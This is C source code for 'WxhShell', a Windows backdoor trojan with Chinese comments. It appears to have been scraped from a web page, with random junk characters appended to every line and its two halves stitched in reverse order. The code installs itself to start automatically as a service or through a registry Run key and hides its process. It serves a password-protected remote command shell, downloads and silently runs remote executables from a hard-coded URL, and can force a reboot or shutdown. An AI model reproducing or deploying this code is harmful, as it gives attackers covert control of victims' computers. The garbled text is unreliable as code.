    if(Boot(SHUTDOWN)) n PAl8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k5I#w:  
    else { DA9-F  
    closesocket(wsh); UgqfO(  
    ExitThread(0); QXaE2}}P  
    } 3)ZdT{ MY  
    break; = n>aJ(=Pd  
    } {.r jp`39  
  // 获取shell @gc|Z]CV  
  case 's': { G d%X> ~  
    CmdShell(wsh); MJyz0.9c  
    closesocket(wsh); {?+dVLa^;  
    ExitThread(0); - WEEnwZ  
    break; Q`0 k=<  
  } wO-](3A-8P  
  // 退出 .sqX>sU/]  
  case 'x': { j]6c_r3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -O~ V4004  
    CloseIt(wsh); 9y$"[d27;+  
    break; AcoU.tpP  
    }  0m&  
  // 离开 |Q|vCWel{  
  case 'q': { h=x{ 3P;B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;:`0:Ao.  
    closesocket(wsh); 4tGP- L  
    WSACleanup(); 6he (v  
    exit(1); G+k~k/D6  
    break; fR^aFT  
        } :nLhg$wMs  
  } s{Wj&.)M  
  } 1woBw>g  
}Ghh%]  
  // 提示信息 9im<J'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E0lro+'lS  
} 5H{dLZ],  
  } n[f<]4<  
IncHY?ud<  
  return; _+0Q Q{'N  
} kv8 /UW  
yG/_k !{9  
// shell模块句柄 ,Oj 53w=  
int CmdShell(SOCKET sock) P;8D|u^\*  
{ Shag4-*@hi  
STARTUPINFO si; v:xfGA nP  
ZeroMemory(&si,sizeof(si)); ^_0l(ke  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cju%CE3a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tqMOh R  
PROCESS_INFORMATION ProcessInfo; um5n3=K  
char cmdline[]="cmd"; h ycdk1SN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QPZ|C{Ce  
  return 0; _?m%i]~o  
} 7[/1uI9U8K  
'*d);{D8  
// 自身启动模式 CHGV1X,  
int StartFromService(void) :}n\ r/i  
{ 97L|IZ s)  
typedef struct #ouE, <  
{ Pkq?tm$#  
  DWORD ExitStatus; }b$W+/M\  
  DWORD PebBaseAddress; nyRQ/.3  
  DWORD AffinityMask; U%qE=u-  
  DWORD BasePriority; 3B^`xnV  
  ULONG UniqueProcessId; M[}aQWT$v  
  ULONG InheritedFromUniqueProcessId; ^DaP^<V  
}   PROCESS_BASIC_INFORMATION; I<}<!.Bc!  
<q<kqy5s-R  
PROCNTQSIP NtQueryInformationProcess; ,bU 8S\8  
h+"UK=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pIbm)-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &}."sGK  
F-&=N {+  
  HANDLE             hProcess; muZ6}&4  
  PROCESS_BASIC_INFORMATION pbi; !J/fJW>m6  
5;4bZ3e,0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (imaL,M-D  
  if(NULL == hInst ) return 0; Ug~ ]!L  
m,1Hlp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W6 y-~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); um}%<Cy[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z<ABK`rEO  
P)9$}9i  
  if (!NtQueryInformationProcess) return 0; mu/GOEZ5  
2*5]6B-(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *? <ygzX  
  if(!hProcess) return 0; (7k}ysc  
jSKhWxL;'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d:"#_  
a%igc^GS2  
  CloseHandle(hProcess); VAL]\@Q}  
+C8yzMN\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~IhLjE  
if(hProcess==NULL) return 0; L&nqlH@+~  
9cMQ51k)E  
HMODULE hMod; hALg5.E{T  
char procName[255]; Zk .V   
unsigned long cbNeeded; +Dwq>3AH  
8gK  <xp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dF#`_!4pbf  
BJ,D1E  
  CloseHandle(hProcess); I%#&@  
w /l\p3n  
if(strstr(procName,"services")) return 1; // 以服务启动 k&dLg5O  
!STa}wl  
  return 0; // 注册表启动 1Bl;.8he.)  
} u}~jNV  
k&M9Hn2  
// 主模块 R8(Bt73  
int StartWxhshell(LPSTR lpCmdLine) +"8-)'  
{ "$6 .L^9W  
  SOCKET wsl; A-GU:B  
BOOL val=TRUE; EH2a  
  int port=0; ~;ZT<eCIA  
  struct sockaddr_in door; QswbIP/>:'  
Lo-\;%y  
  if(wscfg.ws_autoins) Install(); >r8$vQGj  
-]$=.0 l  
port=atoi(lpCmdLine); 4n 9c  
qbZY[Q+F  
if(port<=0) port=wscfg.ws_port; :3h'Hr  
= 3("gScUj  
  WSADATA data; 3{"MN=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K H&o`U(}  
R'e>YDC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <{"Jy)Uf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '}pe$=  
  door.sin_family = AF_INET; -s5>GwZt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2"IsNbWV  
  door.sin_port = htons(port); ~V`F5B  
%'vLkjI.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zh6 0b{  
closesocket(wsl); ;mtv  
return 1;  )o\U4t  
} TLWU7aj&!  
IJzPWs5W:  
  if(listen(wsl,2) == INVALID_SOCKET) { >^|( AzS  
closesocket(wsl); AhauNS^"{R  
return 1; }g]O_fN7~  
} {CH *?|t  
  Wxhshell(wsl); l+n0=^ Z  
  WSACleanup(); /tqQAvj  
y%NZ(Y,v  
return 0; =T3O;i  
p+7ZGB  
} PYPDK*Ie  
UL<*z!y  
// 以NT服务方式启动 oy< q;'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zhW.0:9 CR  
{ DI,8y"!5  
DWORD   status = 0; !c#~g0H+  
  DWORD   specificError = 0xfffffff; A!n)Fpk  
DwBKqhu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g]a5%8*{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iF!r}fUU6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x=jS=3$8  
  serviceStatus.dwWin32ExitCode     = 0; ^`< %Pk  
  serviceStatus.dwServiceSpecificExitCode = 0; XaH%i~}3  
  serviceStatus.dwCheckPoint       = 0; %*Aq%,.={  
  serviceStatus.dwWaitHint       = 0; +GDT@,/  
l2 [{T^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Ymj  
  if (hServiceStatusHandle==0) return; GL- r;  
P{tH4V23T  
status = GetLastError(); 1,pg7L8H  
  if (status!=NO_ERROR) ;VlA~tv  
{ Sru}0M#M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9X%H$>s  
    serviceStatus.dwCheckPoint       = 0; SRfnT?u6  
    serviceStatus.dwWaitHint       = 0; Vub ($  
    serviceStatus.dwWin32ExitCode     = status; qQ=\R1l  
    serviceStatus.dwServiceSpecificExitCode = specificError; +\@}IKWl-?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V3] Z~@  
    return; U) B^R  
  } a-(OAzQ_  
!b:;O +[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cZd{K[fuK  
  serviceStatus.dwCheckPoint       = 0; %g+*.8;"b  
  serviceStatus.dwWaitHint       = 0;  jcVK4jW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N sNk  
} yL.Z{wd  
| bWvQdN  
// 处理NT服务事件,比如:启动、停止 aW.[3M;?v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O77bm,E  
{ ImZ!8#  
switch(fdwControl) )e6)~3[^  
{ _Vl22'wl  
case SERVICE_CONTROL_STOP: WY3D.z-</  
  serviceStatus.dwWin32ExitCode = 0; yWkg4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mO|YX/>  
  serviceStatus.dwCheckPoint   = 0; lf?dTPrD  
  serviceStatus.dwWaitHint     = 0; OqNtTk+  
  { //W7$DYEG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1GA$nFBVC  
  } 8n`O{8:fi  
  return; ;(1Xb   
case SERVICE_CONTROL_PAUSE: fO'"UI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |^!  
  break; GR ^d/  
case SERVICE_CONTROL_CONTINUE: AFN"#M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wr+r J  
  break; ;{%R'  
case SERVICE_CONTROL_INTERROGATE: E Qn4+  
  break; ,y%4QvG7a  
}; :K]&rGi,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <{xU.zp'  
} dnXre*rhz  
wx2 EMr   
// 标准应用程序主函数 I C?bqC+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $-Wn|w+h<a  
{ (|kcSnF0  
m?4L>'  
// 获取操作系统版本 THcK,`lX@  
OsIsNt=GetOsVer(); |'?./  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z&w/JP?  
` <3xi9  
  // 从命令行安装 g E#4 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sh(Ws2b7  
n +R3  
  // 下载执行文件 P g{/tM Y  
if(wscfg.ws_downexe) { qY^@^)b[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a"6AZT"8  
  WinExec(wscfg.ws_filenam,SW_HIDE); T|fmO<e*n  
} zJ9[),;7B  
:#I7);ol  
if(!OsIsNt) { kafRuO~$  
// 如果时win9x,隐藏进程并且设置为注册表启动 d=J$H<  
HideProc(); QhqXd  
StartWxhshell(lpCmdLine); V% PeZ.Xv  
} +q NX/F  
else BXx0Z %e.3  
  if(StartFromService()) =}h8Cl{H/  
  // 以服务方式启动 Q3OGU}F  
  StartServiceCtrlDispatcher(DispatchTable); hnf7Q l}  
else 4x;vn8 yh  
  // 普通方式启动 Cvk n2T  
  StartWxhshell(lpCmdLine); 6~#$bp^-  
gqCDF H  
return 0; 9PZY](/  
} &Ub0o2+y  
Eh{]so  
dYP-QUM$7  
k_$9cVA  
=========================================== Rfuq(DwD6  
f5p:o}U*  
93+p~?  
gs?=yNL  
G5K_e:i  
%n7mN])  
" )08mG_&atL  
sb^%eUU])  
#include <stdio.h> N%:)MT,&g  
#include <string.h> Y%"6  
#include <windows.h> @2HNYW)  
#include <winsock2.h> Ta 0Ln  
#include <winsvc.h> H/Wo~$  
#include <urlmon.h> wy)I6`v  
-kZOve|5  
#pragma comment (lib, "Ws2_32.lib") P*M$^p  
#pragma comment (lib, "urlmon.lib") nm3/-Q},  
Q \E [py  
#define MAX_USER   100 // 最大客户端连接数 n@"h^-  
#define BUF_SOCK   200 // sock buffer ?~g X7{>  
#define KEY_BUFF   255 // 输入 buffer ]EhU8bZ  
#4Z]/D2G  
#define REBOOT     0   // 重启 kCoTz"Z-  
#define SHUTDOWN   1   // 关机 N4z(2.  
%M/rpEE"b%  
#define DEF_PORT   5000 // 监听端口 -N4km5  
XX@@tzN  
#define REG_LEN     16   // 注册表键长度 NjL^FqA[  
#define SVC_LEN     80   // NT服务名长度 )X dpzWod  
}>|!Mf]W?R  
// 从dll定义API beN(7jo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1`;,_>8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5*he  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ecjjCt2S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9N?BWv }  
DQ a0S7I  
// wxhshell配置信息  a1p}y2  
struct WSCFG { {Al}a`da  
  int ws_port;         // 监听端口 pMfP3G7V  
  char ws_passstr[REG_LEN]; // 口令 2G4OK7x  
  int ws_autoins;       // 安装标记, 1=yes 0=no e?"XMY  
  char ws_regname[REG_LEN]; // 注册表键名 X=Th  
  char ws_svcname[REG_LEN]; // 服务名 G"~%[k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HU='Hk!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZV?~~_ 9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ==i:*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fNkN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V6.w=6:`X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mr8r(LGY  
G{8>  
}; 8D[,z 7n  
n%"0%A  
// default Wxhshell configuration S@N:Cj  
struct WSCFG wscfg={DEF_PORT, R>05MhA+  
    "xuhuanlingzhe", qit D{;  
    1, 2d`:lk%\  
    "Wxhshell", N=`xoF  
    "Wxhshell", AZi|85rN  
            "WxhShell Service", ,2I8,MOg  
    "Wrsky Windows CmdShell Service", c,\!<4  
    "Please Input Your Password: ", \vU1*:3  
  1, Wg3\hv29  
  "http://www.wrsky.com/wxhshell.exe", ~S='~ g)  
  "Wxhshell.exe" 6tKm'`^z4  
    }; ~jqG  
0A7 qO1%xw  
// 消息定义模块 I`O)I&KH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tk"+PTGJT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4IW7^Pq`P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @n-[bN  
char *msg_ws_ext="\n\rExit."; ]nEZ Q+F  
char *msg_ws_end="\n\rQuit."; ?\eq!bu  
char *msg_ws_boot="\n\rReboot..."; vXio /m  
char *msg_ws_poff="\n\rShutdown..."; 6axDuwQ  
char *msg_ws_down="\n\rSave to "; Ckelr  
]B;\?Tim  
char *msg_ws_err="\n\rErr!"; `9+>2*k  
char *msg_ws_ok="\n\rOK!"; 2L'vB1 `  
j#`d%eQ~J  
char ExeFile[MAX_PATH]; @L)=epC  
int nUser = 0; oZY2K3J)  
HANDLE handles[MAX_USER]; 0^27grU>   
int OsIsNt; Xg](V.B6  
RnA>oKc  
SERVICE_STATUS       serviceStatus; gx*rxid  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x@@U&.1_A  
|] <eJ|\=  
// 函数声明 J:{$\m'  
int Install(void); D`t }V  
int Uninstall(void); .>K):|Opv  
int DownloadFile(char *sURL, SOCKET wsh); P [.BK  
int Boot(int flag); v0ng M)^q  
void HideProc(void); b0~AN#Es  
int GetOsVer(void); _-vf<QO]  
int Wxhshell(SOCKET wsl); E27N1J+1  
void TalkWithClient(void *cs); ;U +;NsCH  
int CmdShell(SOCKET sock); yWs_Z6b  
int StartFromService(void); ~"Pu6-\VT  
int StartWxhshell(LPSTR lpCmdLine); `@Q%}J  
~B NLzt3%O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w_gPX0N}3n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !_EaF`oh(  
Mbt}G|;8H7  
// 数据结构和表定义 3E!#?N|v  
SERVICE_TABLE_ENTRY DispatchTable[] = XYKWOrkQqa  
{ X>n\@rTo  
{wscfg.ws_svcname, NTServiceMain}, 1-Fz#v7p  
{NULL, NULL} Whf7J'  
}; 2 us-s  
&*I\~;1  
// 自我安装 q;))3aQe  
int Install(void) jf&LSK;2  
{ &IQp&  
  char svExeFile[MAX_PATH]; $uA?c& e  
  HKEY key; N@M(Iw  
  strcpy(svExeFile,ExeFile); sGf\!w  
JY\8^}'9  
// 如果是win9x系统,修改注册表设为自启动 P(_wT:8C?  
if(!OsIsNt) { :J3ZTyjb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x4PH-f-7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RaK fYLw  
  RegCloseKey(key); Q9lw~"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %f{1u5+5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\%K7\  
  RegCloseKey(key); Q]';1#J\  
  return 0; T;eA<,H  
    } Su<Ggv"  
  } Fh XR!x^  
} Ek [V A\G  
else { ?UXKy  
VQm)32'  
// 如果是NT以上系统,安装为系统服务 C-;y#a)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t|gEMDGa3  
if (schSCManager!=0) O1@-)<_71  
{ KfU4#2}  
  SC_HANDLE schService = CreateService (c /H$'  
  ( vrtK~5K  
  schSCManager, %$b)l? !  
  wscfg.ws_svcname, k,L,  
  wscfg.ws_svcdisp, uC3o@qGW<  
  SERVICE_ALL_ACCESS, 05(lh<C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \#(cI  
  SERVICE_AUTO_START, ; &2J9  
  SERVICE_ERROR_NORMAL, G`9\v=0  
  svExeFile, >IW0YIQy,  
  NULL, f\Bd lOJ>  
  NULL, AsRS7V  
  NULL, y.AF90Q>)  
  NULL, UFxQ-GV4  
  NULL m6a q_u{W  
  ); +\FTR  
  if (schService!=0) 5!ll #/ {`  
  { U!:Q|':=h  
  CloseServiceHandle(schService); D6iHkDTg  
  CloseServiceHandle(schSCManager); Y[AL!h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hno:"k?  
  strcat(svExeFile,wscfg.ws_svcname); v;S7i>\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (+<SR5,/3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Ire#0Nwx  
  RegCloseKey(key); JM5 w`=  
  return 0; Azx4+`!-  
    } q$EicH}k8  
  } K~A$>0c  
  CloseServiceHandle(schSCManager); "5mdq-h(  
} .:tAZZ  
} h+k:G9;sS  
tT}*%A  
return 1; `A@{})+  
} iH& Izv  
N|c;Qzl  
// 自我卸载 D6,rb 9  
int Uninstall(void) 4@PH5z  
{ !>B|z=  
  HKEY key; ,?GEL>F  
}&d@6m]  
if(!OsIsNt) { xrX^";}j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R07Kure  
  RegDeleteValue(key,wscfg.ws_regname); w/r wE  
  RegCloseKey(key); '>AOJ aA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |3f?1:"Z  
  RegDeleteValue(key,wscfg.ws_regname); =6b^j]1  
  RegCloseKey(key); /dpEL9K  
  return 0; YEoQIR  
  } ^)&d7cSc  
} @ U6Iw"@  
} .OM m"RtK  
else { x^kV;^ I  
5V&3m@d0aq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *TY?*H  
if (schSCManager!=0) ANEW^\  
{ T:aYv;#0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c&.>SR')  
  if (schService!=0) !Q!= =*1H  
  {  Hu|;cbK  
  if(DeleteService(schService)!=0) { {D1"bDZ  
  CloseServiceHandle(schService); Ml1sE,BT  
  CloseServiceHandle(schSCManager); `_C4L=q"  
  return 0; oLEqy  
  } m72r6Yq2@  
  CloseServiceHandle(schService); 53d8AJ_@X  
  } Qvh: hkR  
  CloseServiceHandle(schSCManager); y^:!]-+  
} S6gg(nNe  
} bX%9'O[-  
7A|n*'[T>  
return 1; H8+7rM  
} /t`s.!k  
DjK:)  
// 从指定url下载文件 lz.ta!6  
int DownloadFile(char *sURL, SOCKET wsh) oJJ2y  
{ 0R&$P 6  
  HRESULT hr; A+*M<W  
char seps[]= "/"; d@~Hp?  
char *token; d^sS{m\  
char *file; VSa\X~  
char myURL[MAX_PATH]; ?sV0T)uk  
char myFILE[MAX_PATH]; ,$ L>  
)%lPa|7s  
strcpy(myURL,sURL); H(U`S  
  token=strtok(myURL,seps); ,)3%@MwO  
  while(token!=NULL) [k-Q89  
  { lAU`7uE  
    file=token; wP.b2X_V  
  token=strtok(NULL,seps); }p 0 \  
  } HV@ C@wmg  
B2Qt tcJ  
GetCurrentDirectory(MAX_PATH,myFILE); ~;nh|v/e  
strcat(myFILE, "\\"); 45e-A{G~  
strcat(myFILE, file); n}(/>?/  
  send(wsh,myFILE,strlen(myFILE),0); (055>D6  
send(wsh,"...",3,0); <&:OSd:%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v0)I rO  
  if(hr==S_OK) 7 sv 3=/`  
return 0; !t/I j~o  
else R{"Kh2q_  
return 1; Mz,G;x}  
wlk{V  
} +6tj w 6  
^6R?UG;6  
// 系统电源模块 Y=+pz^/"  
int Boot(int flag) UfcQFT{()  
{ +~b@W{  
  HANDLE hToken; M:6Yy@#T.  
  TOKEN_PRIVILEGES tkp; 9<BC6M_/  
X}*\/(fzl  
  if(OsIsNt) { c \cPmj@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o NX-vN-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qyzmjV6J2  
    tkp.PrivilegeCount = 1; ~R-P%l P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H/"$#8-/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P%w)*);  
if(flag==REBOOT) { yClX!OL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -?L~\WJAL  
  return 0; A)"?GK{*  
} KwO;ICdJ  
else { PhTMXv<cE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J?VMQTa/+  
  return 0; /U\k<\1~m  
} Fq\vFt|m<  
  } S"+X+Oxp7?  
  else { Yxik .S+G  
if(flag==REBOOT) { 2wR?ON=Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BZHba8c(  
  return 0; )5n*4A  
} 6 axe  
else { MYyV{W*T>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \\w<.\Yh  
  return 0; <y4hK3wP  
} o~<ith$A*  
} _Q XC5i  
h"R{{y f2  
return 1; cQM_kV??!  
} E6+c{41B  
gEr@L  
// win9x进程隐藏模块 BMaw]D  
void HideProc(void) Eod'Esye5  
{ _Sa7+d(  
+9EG6"..@H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aY:u-1  
  if ( hKernel != NULL ) 5dwC~vn}c  
  { hO8~Rg   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); haNi [|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q|N,?f9  
    FreeLibrary(hKernel); ~4-:;8a  
  } )wT @`p"4  
_,r2g8qm  
return; vH14%&OcN  
} );*:Uz sC_  
FYe#x]ue  
// 获取操作系统版本 05 56#U&>  
int GetOsVer(void) >+}yI}W;e  
{ Tfsx&k\  
  OSVERSIONINFO winfo; Lt'FA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +UvT;"  
  GetVersionEx(&winfo); /:S&1'=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3` ,u^ w  
  return 1; p;nRxi7'  
  else o'Rr2,lVi  
  return 0; 3 UXaA;  
} 7 LotN6H  
b { M'aV  
// 客户端句柄模块 faTp|T`nY  
int Wxhshell(SOCKET wsl) Tj(DdR#w  
{ ^&[Z@*A8#  
  SOCKET wsh; dMw7UJ  
  struct sockaddr_in client; xlKg0 &D  
  DWORD myID; mCb1^Y  
`2 6t+Tb  
  while(nUser<MAX_USER) rJz`v/:|P  
{ 5`>%{ o  
  int nSize=sizeof(client); /+ yIcE(&3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *OM+d$l!  
  if(wsh==INVALID_SOCKET) return 1; ;*+wg5|  
*'l|ws  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W)~}o<a)[  
if(handles[nUser]==0) Z@1vJH6IbA  
  closesocket(wsh); Ea<kc[Q  
else Crg@05Z  
  nUser++; P >>VBh?  
  } +H**VdM6s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ; ElwF&"!X  
zm~sq_=^  
  return 0; |~]@hs~  
} pu OAt  
d,XNok{  
// 关闭 socket oVAY}q|wU  
void CloseIt(SOCKET wsh) )&px[Dbx  
{ bnzIDsw!Q  
closesocket(wsh); L]e@. /C$  
nUser--; *S= c0  
ExitThread(0); JqTR4[`Z\  
} ^| r6>b  
-Cc2|~n  
// 客户端请求句柄 Fi8#r)G.  
void TalkWithClient(void *cs) #+ai G52+  
{ 7=`_UqCV  
YZ(tjIgQ  
  SOCKET wsh=(SOCKET)cs; qe_qag9  
  char pwd[SVC_LEN]; ~ !7!Y~(+  
  char cmd[KEY_BUFF]; i5; _  
char chr[1]; P.Gmj;  
int i,j; A$1Gc> C  
d>gN3}tT  
  while (nUser < MAX_USER) { S2PPwCU  
I7]qTS[vg  
if(wscfg.ws_passstr) { P ~rTuj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <(tnClAn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 79d< ,q;uR  
  //ZeroMemory(pwd,KEY_BUFF); ;=lQMKx0  
      i=0; g!I0UAm  
  while(i<SVC_LEN) { p/ au.mc  
S]g`Ds<  
  // 设置超时 #!7b3>}  
  fd_set FdRead; G_v^IM#B=  
  struct timeval TimeOut; _%@ri]u{ov  
  FD_ZERO(&FdRead); s<'WTgy1i  
  FD_SET(wsh,&FdRead); e3=-7FU  
  TimeOut.tv_sec=8; *}RV)0mif  
  TimeOut.tv_usec=0; Sej(jJX1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B#, TdP]/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \rSofn#c  
Cm%xI& Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V2o1~R~  
  pwd=chr[0]; P*g:rg  
  if(chr[0]==0xd || chr[0]==0xa) { 1qE*M7_:E>  
  pwd=0; +L-(Lz[p  
  break; $^5c8wT  
  } %ou@Y`  
  i++; "7}e~*bM?`  
    } tE"IE$$1  
k.?@qCs[  
  // 如果是非法用户,关闭 socket PNRZUZ4Z|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V]6CHE:BS  
} H|s,;1#  
xF8 8'p'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DgGG*OXY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R=<uf:ca  
~mk>9Gp  
while(1) { ^-g-]?q  
,niQs+'<  
  ZeroMemory(cmd,KEY_BUFF); UO}Yr8Z;  
k[8{N  
      // 自动支持客户端 telnet标准   P$Fq62;}r4  
  j=0; H&=fD` Xq  
  while(j<KEY_BUFF) { XG8UdR|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Oe"s_O#  
  cmd[j]=chr[0]; +OfHa\Nz  
  if(chr[0]==0xa || chr[0]==0xd) { arb'.:[z^  
  cmd[j]=0; N(Xg#m   
  break; VL/KC-6  
  } Xo ,U$zE  
  j++; f!13Ob<8r  
    } qV:TuR-|w  
?;ovh nY)  
  // 下载文件 _&K>fy3t&  
  if(strstr(cmd,"http://")) { fea4Ul{ib  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *5q_fO  
  if(DownloadFile(cmd,wsh)) DNGj81'c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\IZ-  
  else p(pL"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f6JC>Np  
  } A?ij  
  else { LHHDD\X   
\>)#cEX5  
    switch(cmd[0]) { c|(&6(r  
  <iN xtD0  
  // 帮助 -(l/.yE{X  
  case '?': { z0xw0M+X  
